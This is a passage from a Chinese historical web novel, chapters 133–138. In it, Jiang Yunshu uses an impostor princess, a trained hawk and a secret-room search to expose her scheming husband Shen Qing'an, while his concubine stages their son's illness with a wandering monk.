但依旧能仰着脖子与他直视的女子,必然是自身身份不低。“姑娘听口音不像是京城人,不只是哪家的小姐?”沈清安试探问。 乐无忧未开口,只见旁边丫鬟先开了口,“我家郡主是南疆王府……” “芍药!” 乐无忧紧张打断丫鬟,似是找补一般,又道:“我是来京城寻亲的。” 她似是唯恐沈清安再问,急匆匆拽着芍药离开。 沈清安未阻拦,只联想着方才那丫鬟说出的半句话,当下有了判断。 到底是谨慎小心,接下来几日,沈清安暗中派人查了乐无忧。 南疆王府郡主。 这一身份确认,沈清安心中不由雀跃,然而,他不知道的是,他花费心思得来的消息,却是姜云舒安排刻意透露给他的。 自那日河边皇陵河边初遇,沈清安又多次与乐无忧在海棠巷“偶遇”,他对乐无忧殷勤关心,又在不经意间,处处试探。 乐无忧看起来防备,却在一次次交谈之后,对沈清安表现出钦佩之意,不光以真实身份相告,甚至还“邀请”他进了宅院喝茶。 南疆独有的雾峰茶,采自悬崖峭壁,便是每年茶猎人不畏生死垂崖采摘,其吐蕊期也只有十日,如此,雾峰仙蕊更显其珍贵。 沈清安了解此茶,还是在他和姜云舒的订婚那日,南疆王府送来贺礼,其中便有一小罐雾峰仙蕊,当时姜云舒想要来着,结果老将军竟没给。 定国将军府幺女成婚,除了虎符,老将军什么都给,结果那一小罐雾峰仙蕊却死死护着,沈清安自是好奇,听姜云舒解释后才有所了解。 知道这茶珍奇稀罕,所以他自老将军书房品过一次后,便记住了那味道,醇香浓郁,还有一股清甜的回甘。 而如今眼前这乐无忧招待他的,正是那雾峰仙蕊,而他眼见着丫鬟沏茶时拿出的茶叶罐,竟是大大的一整罐。 这般不拿极品当好东西,也只有南疆王府这位小郡主了吧。 可他不知道的是,成婚后,姜云舒又去找老将军要了一回,老将军依旧不给,她便趁着爹爹忙自己动手拿了,还将爹爹书房里的藏品都拿了。 只因为沈清安当年喝过一回之后,对这茶赞赏不已。 她原本是要给沈清安带去岩城的,奈何那日走得急,沈清安甚至都未曾来得及回家,这雾峰仙蕊到底是没送出去。 也好,免得糟蹋了好东西。 想来姜云舒也曾对他掏心掏肺,奈何他接不住这般赤诚的真心。 “听说恭王府正在路上,尚未到入京日期,如今你提前入京,怕是有不妥,不如,我派人给南疆王送个消息,免得他担心。”沈清安一边品茶,看向乐无忧。 乐无忧捻着点心的动作一滞,面上笑容瞬间收敛。 “哼,我原以为沈哥哥是我的朋友,却不想,你竟想用我讨好父王!” 说着,起身就要走。 沈清安见人恼了,紧忙过来哄。 “我不是那个意思。” 他抓住乐无忧的手,“南疆王府相距京城深远,你只身一人,难免担心。” 乐无忧看他,虽认同他所说,却依旧不情愿。 “都说了我是偷跑出来的,父皇并不知道我如今已经到了京城,否则,你以为我为什么会在皇陵之外为皇奶奶烧纸钱?” 她看起来似是委屈地抽了抽鼻子,小心谨慎提醒,“你若敢对别人说,我定不能饶了你!” “你如此不信我,我可真真是被你伤了一回!”沈清安捂着心口,一副伤心模样。 见他这般,乐无忧却是笑了,“若我所嫁之人能是心中所愿,我也不必这般赌气出逃了。” 她说着,媚眼如丝地朝沈清安看了一眼。 沈清安自是明白她言语所指,见丫鬟出门,伸手握住乐无忧的手。 “你是南疆王最宠爱的幺女,你既不愿,想来他也不能逼迫你,事情总有转机。”沈清安抓着乐无忧的手,轻轻摩挲。 乐无忧面上羞怯,却在沈清安看不见的瞬间,面露厌恶之色。 难怪姜云舒便是娘家无依也要离开他,这样的男人,白白长了一张好看的脸,内里都烂了。 “对了。”沈清安似是想起什么,“下个月,庆王府老太妃过寿,届时你可要去祝寿?” 先太后与庆王府太妃姐妹情深,乐无忧叫太后皇奶奶,想来庆王府太妃也是亲近的,她若能参加庆王府寿宴,这南疆王府郡主的身份,自是不用质疑。 “自然是要的,不过,虽说丧期已过,但虞太妃思及先太后,亦不打算大办寿宴,只请了与王府往来相熟之人。”乐无忧托着腮看他。 沈清安眼皮跳了一下。 若是只请了相熟之人,那宴席之上必定是王侯贵胄。 思及此,心中难免激动。 “我有幸收到了庆王府的邀请函,你若不想公开身份,届时可随我一同前去。”沈清安又说。 “无碍,我于庆王府并非陌生面孔,便是没有邀请函,周管家也不能将我拦在门外。”乐无忧无所谓。 沈清安自是知道庆王府周管家,如今听她提及,想来那庆王府管家与她是真的相熟。 眼瞧着沈清安眼神变化,乐无忧眼底柔和逐渐散开。 第134章 你有什么要求 方才乐无忧提及周管家,自是不怕沈清安去确认,毕竟,他如今正在讨好阶段,若是因此暴露了恭王府小郡主如今身在京城,难免得不偿失。 但,与他相处,乐无忧也的的确确感觉到了一股难以名状的压力。 这个人,竟能让阅人无数的定国将军都看走眼,心思深沉自是不可轻视。 而刚才多方试探,乐无忧自认暂时安抚了他的疑心,但他如今依旧未能全信,她需要一个显而易见的证据,能够证明她身份的证据。 思量之下,乐无忧让冥风给姜云舒传了信儿。 傍晚,夕阳余晖映照,天地逐渐归于平静之间。 明月楼,雅间。 乐无忧被月禾带进来时,姜云舒正与谢无烬于棋盘之上厮杀。 两人行棋布阵棋逢对手,各不相让,一盘棋下得急赤白脸。 “小姐,人来了。”月禾在门外轻声敲门。 姜云舒手中白子停顿片刻,落于棋盘之上,才应了一声。 “进来。” 月禾闻言带人进来,乐无忧抬头瞧见谢无烬也在,面上一瞬间诧异。 “姑娘,要不还是……” “无碍。”姜云舒摆摆手,转而跟谢无烬介绍,“这位是南疆王府小郡主,乐无忧。” 并未避讳谢无烬。 毕竟,当日在万宝楼相遇,以谢无烬的心机,即便没有跟上,背地里肯定也派人跟着了。 有些事情小心谨慎地避人耳目,倒不如直接摆在他面前。 “南疆王府,小郡主?” 谢无烬下棋的动作陡然一颤,抬头看向刚进门的乐无忧,随即再看向姜云舒。 他怎么不知道南疆王府还有个十几岁的郡主? “自然是假扮的身份。”姜云舒朝谢无烬眨眨眼,“让她假扮南疆王府小郡主引诱沈清安,你觉得如何?” “呵。” 谢无烬的视线自乐无忧身上收回,朝姜云舒扯了扯嘴角,“为了报复一个沈清安,值得你这般大费周章?” 姜云舒将白子落下,抬头看向谢无烬,“沈清安比我想象中更为谨慎,我从正面调查有限,只能从侧面突破。” “你倒还算理智。”谢无烬执黑子落下,吃了姜云舒几颗子,“不过,便是恭王府远在南疆,这小郡主的身份若是调查,也不难出现破绽。” 说着,他看向站在旁边,自进门便未曾开口的乐无忧,“你今日来,可是被堵了路?” 乐无忧蹙眉,却未回答他,只是看向姜云舒。 姜云舒这才开口,“听冥风说你着急见我,怎么了?” 之前姜云舒便想她说明,若非紧急事宜,不必见面,如今乐无忧与沈清安接触多日,还是第一次来找她。 “沈清安以庆王府老太妃寿宴之事试探,我虽言语暂时敷衍过去,但我需要一个证据能证明我的身份。”乐无忧开口。 若只是相互试探来试探去,接下来的事情,总会受限,毕竟,沈清安行事谨慎,不见兔子不撒鹰。 这一点,姜云舒自然了解。 “若是有个令牌能证明身份,自是最好不过……” 她蹙眉思量。 “月禾,将我的平安玉牌拿来。”姜云舒吩咐一声。 月禾应声,转身进了雅间的内阁间,不多会儿,拿着一块通体温润的玉牌出来。 “小姐要的可是这块?”月禾问。 姜云舒接过来,玉牌是羊脂白玉,玉石盈泽,触手生温。 她嫁妆里好玉不少,但记得母亲说过,这块平安玉是她出生时,南疆王妃送她的贺礼。 “对,就是它。” 姜云舒眼中闪过喜色,“你不经意间让沈清安看到,他自会衡量。” 沈清安多疑,所以,他看到这块玉会自行衡量乐无忧的身份,自作聪明,反而是姜云舒拿捏他手段。 说着,姜云舒将玉牌拿给乐无忧。 “你且拿着它……” “这么好的玉牌,若是弄丢了,岂不可惜?” 谢无烬先一步伸手,将那平安玉牌拿了过去,紧接着一扬手,掏出一块令牌。 “两年前,我曾在平定南照国边境骚乱时,救下南疆王府郡王乐乘风,他将南疆王府令牌送给我做信物。” 说着,他竟真的从腰间拿出令牌。 姜云舒当即震惊地瞪大眼睛,看向谢无烬的眼中又多了一层审视。 “这令牌,你日常带着?”她问。 “你这是什么眼神?又不是心上人送的,本世子为何要随身携带?” 谢无烬说着,看似不经意地摸了一下发间的玉簪,“都说了,今日你能赢我这盘棋,便送你一份大礼,这令牌还不算大礼?” 姜云舒嘴角颤了颤,就知道,他肯定将那日的事情打探清楚,甚至还知道她需要一个南疆王府的令牌。 姜云舒看他的眼神有一瞬间复杂,随即视线落在那令牌上,复杂很快散了。 的确是南疆王府的令牌,有这令牌,可比那还要让人衡量的白玉更有说服力。 “所以,你有什么要求?”姜云舒睨着他。 谢无烬这个人,向来不做亏本的买卖,南疆王府令牌这么重要的东西给出来,自然是要收好处的。 果然,见姜云舒这样上道,谢无烬眼中顿时绽开了笑容。 “我这样重要的东西拿出来,自然也是想要姑娘一件重要的东西来交换。” 他将手中黑子落下,歪头看向姜云舒,“我要吃你做的炙烤香兔。” 姜云舒:“……就这?” “不行?”谢无烬眼皮一挑,“我可听说了,当年你是亲自猎了香兔,为沈清安做了一道炙烤香兔,我也要吃你亲自猎的。” “没说不行。”姜云舒扯了扯嘴角。 南疆王府令牌这么重要的东西,还以为他能提什么要求呢,结果就一只炙烤香兔。 无语之后,姜云舒脑子里闪过一抹说不上来的感觉。 姜云舒尚未想明白,却见谢无烬又扬了扬手中的平安玉牌。 “这个,我先保管,等你还我令牌时,我再给你。” 说完,也不管姜云舒有没有答应,他便顺手将平安玉牌别在了腰间。 这边乐无忧接过令牌离开,出门时,视线不经意在谢无烬身上扫过,不知为何,总感觉他身上带着浓烈的杀伐气息。 第135章 叫声哥哥来听 晨光熹微,露珠在叶尖闪烁,清新的空气中弥漫着泥土的芬芳。 姜云舒起了个大早,如约带着黑鹰去了渊政王府。 刚到渊政王府,尚未来得及自报家门,便有小厮自里面迎了出来。 “县主来了,世子已经等候多时,快进来吧。” 说着,满脸堆笑地前面带路。 姜云舒顿了一下,跟着进去。 依旧是上次来时熟悉的路,不过小厮并未直接带她去云水园,而是饶了弯儿,去了后厅楼阁。 渊政王府很大,可在谢无烬回来之前,府上只有元太妃一个主子,六进的院子,只有前面三进院人多一些,后面两进院子平日里也只有下人时不时过来打扫。 此时谢无烬回京,他刻意选了距离元太妃远的云水园,随后便命人将后面两进院子也收拾出来,此时这后厅楼阁,便是其中一处。 刚进院子,一股香甜扑鼻而来,不是花草的香甜,而是糕点水果的香味。 “世子,乐安县主到了。”小厮上前禀报。 谢无烬抬眸看一眼,朝小厮摆摆手,小厮转身离开时,他起身朝姜云舒走来。 “这么早,先过来吃些点心。” 姜云舒下意识想说自己已经用过了,谁知一低头,却见桌上摆放的竟是北域的雪花酥和各样点心,当即眸光一亮。 “没想到,谢世子也喜欢北域的口味。” 她径自坐在谢无烬对面。 “半年前军营调换,有个北域军营的厨子调到了渊政王府,手艺倒是不错。” 谢无烬伸手捻起一块雪花酥,送到姜云舒跟前,“尝尝。” 姜云舒伸手接过,凑近唇边浅浅咬一口,香甜的味道自唇齿之间漾开,恍如微风吹得心尖一波春水晃动。 是那个味道。 自离开北域之后,再也没尝过的味道。 谢无烬看着她慢条斯理地吃着点心,如一汪水的眸子熠熠生彩。 他并不是很能体会姜云舒出嫁之后对娘家的眷恋,但寂寥这个词,他再熟悉不过。 见姜云舒接连吃了两块点心,谢无烬将果茶递到她跟前。 “北域的糕点略显甜腻,不要贪多,这些我让卫临风装了食盒,等你回去时带着,日后再想吃,也可差人说一声,我让厨子做好了给你送过去。” 说着,谢无烬摆摆手,让人将点心撤了。 姜云舒喝着果茶,眯起眼睛看他,“这般麻烦,不如谢世子割爱将北域的厨子送给我?我买也可以。” 反正看他刚才,似乎也并不是很喜欢吃。 谢无烬喝茶的动作一滞,挑眉看她,唇角微微勾起。 “看来,你对我的东西都很喜欢,不如这样,你休了那探花,我渊政王府的东西都能是你的。”他笑得蛊惑。 姜云舒脸上的笑容倏然一沉,为了个厨子,犯不上把自己卖了。 “我们还是聊正事吧。” 姜云舒一摆手,黑鹰自旁边的鸟架子上飞过来,落在她肩膀。 大概是黑鹰太大,落下时姜云舒肩膀微微晃了一下,很显然,对这个指令执行得并不满意。 其实,便是这一动作,还是姜云舒见谢无烬对黑鹰做的手势学着来的,除此之外,黑鹰对于指令并没有什么反应。 “黑仔。” 谢无烬叫了一声,食指弯曲含于口中吹了一声口哨,随即抬手在空中画了一圈。 就见黑鹰“咻”的一下飞出去,片刻之后回来,口中叼了一直麻雀回来落在谢无烬的手臂上,将那麻雀放在他手上。 姜云舒低头瞧着谢无烬手里体温尚存的麻雀,不由得眼睛瞪大,这便是取物? 不得不说,谢无烬的确善窥人心,在姜云舒提出让他教训练黑鹰时,便已经猜到她要利用黑鹰做什么。 姜云舒也不否认,直截了当,“那又如何让它辨别和搜查?” 只是取东西并不难,得让黑鹰进入密室,利用飞禽的敏锐搜寻她要的东西。 “这样。” 谢无烬将一小块肉饲放在掌心递给黑鹰,随即不知从哪里找来的黄色的花,在黑鹰面前晃了晃,就见黑鹰在他手臂上停留片刻,倏地腾身起飞,朝着池塘的方向飞了出去。 姜云舒紧跟过去,就见那黑鹰一个俯冲到人工湖,爪子一伸便精准地抓住里面一条金色的锦鲤,又回到谢无烬身边。 “你是如何让它听从指令,只是根据一朵黄色的花便能找出相应颜色的锦鲤?”姜云舒瞪大眼睛。 谢无烬挑了挑眉梢,“想学?叫声哥哥来听?” “谢哥哥,快说!” 姜云舒一个字都不带耽误的。 谢无烬:“……” 这么随意? 竟有种兴奋到了头皮,突然又一下子泄了力道的感觉。 姜云舒丝毫没察觉到谢无烬的憋屈,一个劲儿催他赶紧说。 谢无烬无奈,只得教她。 半个时辰后,黑鹰终于在姜云舒的指令之下,自谢无烬的书房叼出她指定的玉佩穗子,姜云舒一脸得意地朝谢无烬扬了扬手。 “看!” 阳光灿烂,落在姜云舒脸颊上,仿若镀上了一层明亮的光晕,谢无烬透过光芒看着她,眼前仿若出现儿时那个拿着战利品邀功的小姑娘。 姜云舒兴奋着,一时忘记给黑鹰喂肉饲奖励,黑鹰不满,煽动翅膀提醒她,可姜云舒到底不如谢无烬那般孔武强壮,一时间没撑住它的力道,下意识往后趔趄。 眼看站不稳要往地上栽,此时后腰之间传来一股支撑力,是谢无烬撑住了她。 “手臂要稳住。” 谢无烬的声音自耳边擦过,姜云舒顿了一下,下意识要自己站稳,冷不丁“嘶”一声。 “脖颈处被黑仔的爪子划破了。” 一条细小的划痕,并不严重,但谢无烬还是皱起了眉头。 他随即抬手自腰间拿出一瓶绿色的药膏,打开瓷瓶盖子用指腹擦上一些药膏,细细地涂在姜云舒的伤口, 他的动作很轻缓,带着冰凉的药膏划过伤口,一股酥酥麻麻的感觉自脖颈蔓延开来,她压住慌乱,站在原地不动。 谢无烬看到她攥紧的拳头,勾起的唇畔勾起清浅的笑,下一瞬,低头凑近,朝着那伤口吹了吹。 来自唇口的风撩着肌肤,带起了姜云舒浑身的鸡皮疙瘩,她下意识往回缩了缩,往后退一步。 “我自己来。” 她一把将谢无烬手上的药膏拿过来,自己胡乱的涂了几下,又胡乱的还回他手里。 谢无烬看着她莫名跟自己置气的模样,忍不住轻笑一声。 还是和小时候一样。 姜云舒见他笑,顿时瞪起眼睛,“黑鹰这般精准地拿到你想要的,所以,你将它留在我身边,是想从我这里拿什么?” 第136章 危机感 谢无烬低头瞧她,眉梢一垂,沉沉叹一口气。 “我想要的,它可拿不到,得你自己心甘情愿地给。” 姜云舒眸光一闪,瞬间明白了他的意思,抬眸便给了他一个白眼。 谢世子,你顶着这副算计人的表情,真不适合深情的戏码。 接下来的几日,姜云舒都来渊政王府带黑鹰训练,黑鹰很灵,只几日便能与姜云舒和月禾互通。 待它能精准地通过姜云舒的字迹找出相应的字帖时,姜云舒便给乐无忧消息,让她趁机留住沈清安。 沈清安向来心思缜密,虽面上未表现出破绽,但在乐无忧拿出南疆王府令牌之前,他们的相处便一直在试探。 知道南疆王府的令牌送到他眼前,沈清安才真的信了乐无忧的身份。 乐无忧到底是北夷皇室出身,留住一个男人并不难,这日,姜云舒和月禾便趁着沈清安被乐无忧绊住时,安排了黑鹰进入书房找机关入口。 要不说会飞就是好呢,沈清安满院子的机关在黑鹰身上根本起不到任何作用,趁着天黑,便放开了黑鹰的脚链。 月禾引开院外的守卫,姜云舒和黑鹰便顺利的进到了书房。 关上门,姜云舒给了指令,黑鹰在屋内盘旋一圈,滕然朝着屋顶冲去,下一瞬,一串铁链便被它从房梁抓了下来。 不是三宝钱币,而是将拉动机关的铁链藏在了屋顶上,呵,倒也很符合沈清安的谨慎。 随着黑鹰往回飞带动铁链,便听得一声“咔哒”的声音,紧接着,背墙上出现一个门。 姜云舒朝外面确认一眼,转身进了密室。 姜云舒没有点燃墙壁上的蜡烛,而是点燃自己的火折子。 密室有两间屋子,外面就像是藏宝阁,里面四个架子上都摆放着各类珠宝珍奇,相比明月楼展卖场那些,丝毫不逊色。 原以为,沈清安只是依靠岩城供给才不至于生活困窘,如今看来,却是小觑了沈清安的财力,难怪那日他被坑了万两白银也只是怒了一下,却并未发作。 再往里走,架子上摆放着各类书籍卷宗,其中便有姜家的兵法和入门的渠道改路和堤坝修筑相关书籍,姜云舒粗略翻看一圈,并未找到有用的线索。 正找着,黑鹰突然扑棱着翅膀到对面的架子,苍劲有力的爪子抓住其中一个黑色的锦盒。 姜云舒伸手去接,打开锦盒,里面是一块军令牌,军令牌上并未刻字,姜云舒却依旧认出,那是北夷皇室的令牌。 沈清安为什么会有北夷的令牌? 当年,他去定国将军府时究竟发生了什么事…… 姜云舒拿着令牌促进眉头,此时,听得外面传来月禾的信号,她紧忙将令牌放回原处,带着黑鹰自密室离开。 回到揽芳院,姜云舒将令牌一事告知月禾和冥风,两人都没有任何线索。 “看来,再深地调查,估计要从那高氏身上下功夫了。”冥风趁着声音道。 毕竟,当初他们并没有跟着沈清安回北域,那段时间,在沈清安身边的便只有高芝兰。 “嗯。”姜云舒指尖在杯盏边沿上划过一圈,吩咐道:“是时候让高芝兰知道乐无忧的存在了。” “是。” 冥风应声,闪身消失在黑夜之中。 三日后。 沈府传出几句闲话,说沈清安如今被皇上委以重任,若锦州水患得以管控,日后必成为朝中新贵,此时朝中还有官员欲将府上庶女送来给沈清安做贵妾。 这话一出,高芝兰顿时感觉危机四伏。 如今姜云舒这个罪臣之女非但没有被处处忌讳,反而在京中权贵眼中依旧有故人之姿,甚至,如今她为锦州灾民所做还得到了皇上的赏识封为县主,这已经让她深感危急,如今官员之女还要送进沈家? 就算是庶女,那也比她身份高贵,如今除了一个不争气的沈长元,她攥在手里的依仗并不多,尤其经过清风观一事,沈清安和老夫人已经对她的三全命格有了猜疑。 不行,这可不行,绝对不能再有人进府了! “红杏!” 高芝兰尚且不能起身,便朝门外喊了一声。 丫鬟红杏紧忙进来,见高芝兰招手,到跟前,听她吩咐。 “他身边有赤羽卫,你找人的时候,妥帖一些,别暴露,万一他身边真的有什么女子围绕,便尽快回来报。”高芝兰吩咐。 “是,奴婢这就去。” 红杏应声,匆匆出了门。 这世道,有钱能使鬼推磨,高芝兰找来跟踪沈清安的人很快传来了线索。 这些时日,沈大人看起来公务繁忙,夜夜晚归,其实多数是与一女子会面,那女子身着罗绸锦缎,相貌出众,周身气质一看就是富贵人家出身。 听得红杏的回报,高芝兰彻底坐不住了,忍着一身疼痛,一瘸一拐也要跟着去看看,结果,一看到乐无忧那张脸,她突然连上去质问的勇气都没了。 这样一个美人,别说是沈清安,就连皇亲贵胄也得为之倾倒,更何况,人家还出身官宦家族。 想到对比悬殊,高芝兰眼珠子转了转,扭头去了仁春堂。 此时,姜云舒正在仁春堂与韩掌柜核对药材。 见是高芝兰进来,韩掌柜当即停下手中事务,将账本收了起来。 “哟,今儿什么风将高老板吹过来了。”韩掌柜面上带笑,可那笑意不达眼底,甚至还带着嘲讽之意。 高芝兰扯了扯嘴角,看向姜云舒,“我是来找你东家的。” 韩掌柜看姜云舒一眼,见她点头,转身带着账本走了出去。 姜云舒抿一口茶,将杯盏放置在桌上,“有什么事你不在沈家说,偏偏跑来仁春堂找我,怎么,你的伤好了?” 说着话,视线在高芝兰身上扫过。 高芝兰挨板子本就是陷害主母之罪,如今姜云舒这一眼,明显带着嘲讽,但她此时也顾不上了。 “你可知,如今相公与一女子交往甚密?”她紧张兮兮的。 “哦?”姜云舒挑眉,看似并不知情。 见她这反应,高芝兰紧忙凑过来,一脸凝重道:“我着人调查过,那女子可是南疆王府的郡主,论出身,比你还要高!” “所以呢?”姜云舒指尖在杯盏边沿划过。 第137章 那是你的男人 “所以,你猜她若是入了沈家的门,还有你的立足之地吗?” 高芝兰瞪大眼睛,一脸严峻警告,“别以为你封了县主便有了依靠,到底娘家负罪流放,你在那南疆郡主面前还是矮一截的,届时那南疆郡主若执意嫁过来,你还能坐稳这正室之位?说不定,还要被驱离沈家。” 这话说得仿佛天都要塌下来了,可偏偏入了姜云舒的耳,却勾得她忍不住笑出了声。 “真是不知道,沈清安在你眼里究竟是个什么样的金疙瘩,区区五品官员,娶过两任正妻,还有一子,他便是入了南疆郡主的眼,南疆王能同意?” 高门大户,都讲究嫡长子为正室所出,甚至有些门户,在嫡子出生之前,都不允许纳妾,南疆王府郡主多高贵的出身,她自己不在乎这些,南疆王却一定不能够让她嫁给这样一个人。 毕竟,高门大户最看重的可是脸面,说白了,沈清安的家室会让南疆王府丢脸。 就当初姜云舒若知道沈清安还有个孩子,姜兆霖也不能同意她嫁。 高芝兰冷不丁被噎了个结实,当即瞪大眼睛,然而,嘴角动了好几下,愣是没说出一句话来。 是啊,那可是南疆王府,那郡主便是嫁给皇子也是正妻之位,南疆王怎么可能同意她嫁进沈家来? 按说,明白这点,应该是松口气了,可不知怎么,高芝兰反而更焦虑了。 不管这南疆郡主进不进沈家的门,如今她这正妻之位已经遥遥无期。 明明回京之前,沈清安情真意切地答应她,这沈家主母之位一定还给她,长元也一定是沈家的嫡长子,明明是攥在手里的名分和地位,如今怎么就缥缈无期了? 高芝兰不甘心,抬头看姜云舒慢条斯理地喝茶,眼珠子转了一圈,笑着往前凑了凑。 “我们两个都不想那南疆王府郡主和相公有瓜葛,毕竟,那郡主入不入沈家的门,对我们来说都没好处,不如,我们联合,让相公远离那郡主?” 姜云舒扭头瞥她一眼,忍不住轻笑出声。 “我并不觉得我们会有目的一致的几率,而且,忌惮南疆王府郡主的是你,不是我,我也不在乎沈清安身边是什么人,你自己的事情,别拉上我。” 说着,姜云舒起身,朝韩掌柜吩咐一句,“送客!” 高芝兰满脸的笑容顿时僵住,楞楞的看姜云舒,随即似是明白了什么,黑着脸“哼”了一声,怒气冲冲下了楼。 阁楼窗户口,姜云舒瞧着高芝兰一路邪风地进了尚品堂,唇角不觉勾起一抹玩味。 此时,海棠巷。 沈清安给乐无忧带了明月楼新出的点心过来。 乐无忧喜欢明月楼的点心,倒了谢便欣喜地接过来,不过,虽喜欢吃,但举止投足之间,贵气端庄,让沈清安未有丝毫怀疑。 这边乐无忧正吃着,沈清安却突然剑沉沉叹一口气。 “沈哥哥,你这是怎么了?”乐无忧停下。 沈清安蹙着眉,似是犹豫许久才开口,“如今锦州商道冲毁,连带我药铺采买的药材也在半路遇阻,京城药材紧缺,若走水路,除了价格还得有人脉,真真是愁人。” 他一边说着,眼睛瞄着乐无忧,瞧她的表情。 “水路啊,我听说码头那边是大长公主掌管……可惜我如今是偷跑出来的,还不能直接去找大长公主……” 她想了想,似是想到什么,抬头朝沈清安眨眨眼睛,“不过别担心,有钱能使鬼推磨,你给足了银子,他们自然要走货的。” 说着,她起身从架子上拿出一个锦盒,从里拿出几张银票给沈清安。 “这里是一万两银子,沈哥哥再拿着我南疆王府的令牌去,运些药材进京,不会有问题。” 码头那边,姜云舒已经打点好了,有没有南疆王府的令牌没多大关系,不过是让沈清安对乐无忧更信任几分。 看着推到面前的银票和令牌,沈清安眼睛里顿时冒了光,可面上还矜持推拒。 “我怎么好拿你的银子,万万使不得……” “这有什么的。” 乐无忧又将银票往他面前推了推,“这几日,是沈哥哥帮我找住处,替我安置,又带我出去玩儿,帮你一个小忙是应该的,更何况……” 话没说完,乐无忧眼皮抬起看沈清安一眼,脸上倏然多了一抹酡红。 沈清安自是明白她的意思,伸手拉住她的手,一脸情真意切。 “妹妹如此,我更是心中有愧……”他蹙了蹙眉,看似一脸无奈,“怪我无能,若是能解决锦州堤坝修筑,或许我就能以功勋,跟皇上要一道圣旨,届时我们……” 他说得遮遮掩掩,但意思却很清楚,他想娶乐无忧,奈何没有向皇上提要求的资本,若是能完成锦州堤坝修筑,他再用功勋换圣旨才有可能。 “堤坝修筑?”乐无忧眉梢一挑,“我南疆亦是多水之地,虽各地堤坝修筑方式不同,但我常在父王身边,也懂些皮毛,不如,你跟我说说锦州的地形,或许我能帮你一帮呢。” “无忧妹妹,你当真懂?”沈清安眼睛又是一亮。 他早知道南疆王有一套水患治理的系统方案,本想着乐无忧这里或许能有些有用信息,却不想,她竟然懂! 这不是瞌睡便有人送枕头吗! 想着,他紧忙将随身携带的图纸拿出来,细细地给乐无忧说了一遍。 乐无忧看着图纸上密密麻麻的标注,只觉眼睛疼。 她能懂什么堤坝修筑?不过是姜云舒提前将方案和图纸给了她。 乐无忧依照姜云舒的设计,当即给沈清安画出了堤坝结构图,还根据锦州地形,分拆出两种堤坝加固的方式,等她画完,沈清安的惊讶又加了一层。 “无忧妹妹,你可真是我的福星!”沈清安当站起身来,一把抱住乐无忧。 乐无忧强忍着浑身的嫌弃,让他紧箍着,在他看不见表情时,满脸的嫌弃都快冲出来了。 两人正抱着,就见子固急匆匆进了院子。 “大人,不好了,小少爷出事了!” 第138章 与她冲撞 沈清安脸色一滞,起身的同时下意识朝乐无忧看一眼,面上略带愧疚。 “我……” “孩子要紧,沈哥哥快去吧。”乐无忧说着,转身往屋里走。 沈清安知道她是不高兴了,紧忙拉住她的手。 “待我处理完便来看你。” 说完,急匆匆往外走。 等他出了院门,乐无忧眸光收敛,眼底只剩一片寒凉。 早在边境之地便听说过定国将门这位巾帼千金,集万千宠爱于一身,却又骏马长枪所向披靡,却不想,一朝眼瞎竟嫁了这么个东西。 命运啊,真是让人措手不及。 一炷香后,沈家。 沈清安到时,已经有大夫过来给沈长元施了针,可人还没有醒过来。 “怎么回事?好好的怎么会晕倒?”他神情紧张问。 见沈清安回来,高芝兰满脸的委屈顿时涌了上来。 “我也不知,回来时,长元吐得脸都白了,人也昏昏沉沉的,叫他都不应了!” 说着,转向沈长元身边小厮,“你们到底给小公子吃了什么?” 小厮跪在地上瑟瑟发抖。 “没吃什么,除了今早用的膳食,小公子也只去了老夫人那边,用了些糕点。” “混账东西,你是说,我给长元吃了不干净的东西?”老夫人怒斥一声。 小厮吓得一哆嗦,再不敢说话。 这边正吵着,姜云舒和月禾不紧不慢地进了院子,老夫人见到姜云舒,仿佛见了救星一般,紧忙朝她招手。 “云舒啊,你可总算回来了!” 说着,起身拉过姜云舒的手,“杨大夫实在看不出长元这是怎么了,你快请宫里的太医过来救救命吧!” 如今姜云舒掌管沈家中馈,沈长元生病她得管。 姜云舒看了沈长元一眼,一张小脸惨白惨白的,眼看着是挺严重。 “月禾,拿我的令牌,请陆太医过来一趟。”姜云舒吩咐一声。 她不是什么菩萨心肠,只是,明知道这件事大概和高芝兰拖不了干系,想看戏,总得给戏台子搭上才行。 月禾皱了皱眉,不情不愿的出了门。 老夫人这才松一口气,如今又享受到姜云舒带来的便利,她突然懊恼,之前到底是为了什么,非得将中馈要回来? 虽说权利不在自己手上,可姜云舒管家她是最省心的,那时候,想要什么她不给弄来? 再看高芝兰……老夫人眉心微蹙,原以为她那三全命格能让沈家兴旺发达,可自打她进了京,沈家可没什么好事。 高芝兰瞧见老夫人的表情,暗自攥了攥拳头,此时耳边又传来沈清安的声音。 “杨大夫,长元到底是什么病?” 杨大夫额头上一层细密的汗珠,他手搭在沈长元脉搏上,脸色也跟着白了。 “看症状像是中毒,可一时又不能确定。”说着,又转向高芝兰,“今日,小少爷可有什么异常举动?” 提及这处,高芝兰似是用力想了想,恍然瞪大眼睛。 “对了,我听三顺说,长元是在翻墙时掉下来,然后突然朝着东南方向跪下,嘴里一直喊着‘饶命’……” 说着,她面上多了几分紧张之色,“都说孩子年纪小,能看到常人不能见的东西,莫不是他在东南方向看到了什么邪煞之物?” 东南方向…… 沈清安当即一想,便想到了位于沈家东南方向的海棠巷。 是乐无忧和长元犯冲? “哎呀,这可不得了!” 老夫人一听就急眼了,当即招呼沈管家,“快,你快去请个高人来府上。” 上次沈府已经让长明大师看过,此时各处适宜,长元若犯了邪,定然是那东南方向怪异。 说起来也是巧,一炷香的功夫都不到,沈管家还真带了一个和尚进了门。 那和尚说是灵光寺游僧,正巧到了沈家门前,看到有一团黑云在沈家上方盘旋,正向门仆打听,沈管家就出来了。 灵光寺虽不及崇光寺这等国寺权威,但也是大瑞赫赫有名的大寺,加之这机缘,沈管家便立刻请人进来。 老夫人紧忙上前见礼,游僧不多说,上前视线在沈长元身上扫过,伸手按了几个穴位,就见沈长元身子突然一缩,吐出一口黑血。 “哎呀,这怎么会是黑血?”老夫人惊呼一声。 “小少爷年纪小,是被邪气损伤,如今这邪气已经排出,想来已无大碍。”游僧道。 “这,我府上前段时间可是请了长明大师来过,怎么会有邪气?”老夫人一脸紧张。 “沈宅的确并不不妥,这气是从外面带回来的,正与小少爷犯冲。” 说话间,游僧的视线在众人身上扫过,随后停留在沈清安身上,“孩神灵未稳,沾染分毫便会元神受损,还是注意些好。” 姜云舒站在一旁,眉梢不由得微微挑起。 不得不说,高芝兰对沈家人的确了解,也更懂得如何戳沈清安和老夫人的心窝子。 老夫人没看出什么不妥,只是拍着胸口庆幸遇到了游僧。 “既如此,可是远离东南方向,便可让长元安然无恙?” “按理说,的确如此。”游僧说话时,依旧看着沈清安,“除了这孩子,家中长辈也最好想一想,最近是否接触了生人,想来便是携带了与孩子相冲之人的气息。” 这意味就更明显了。 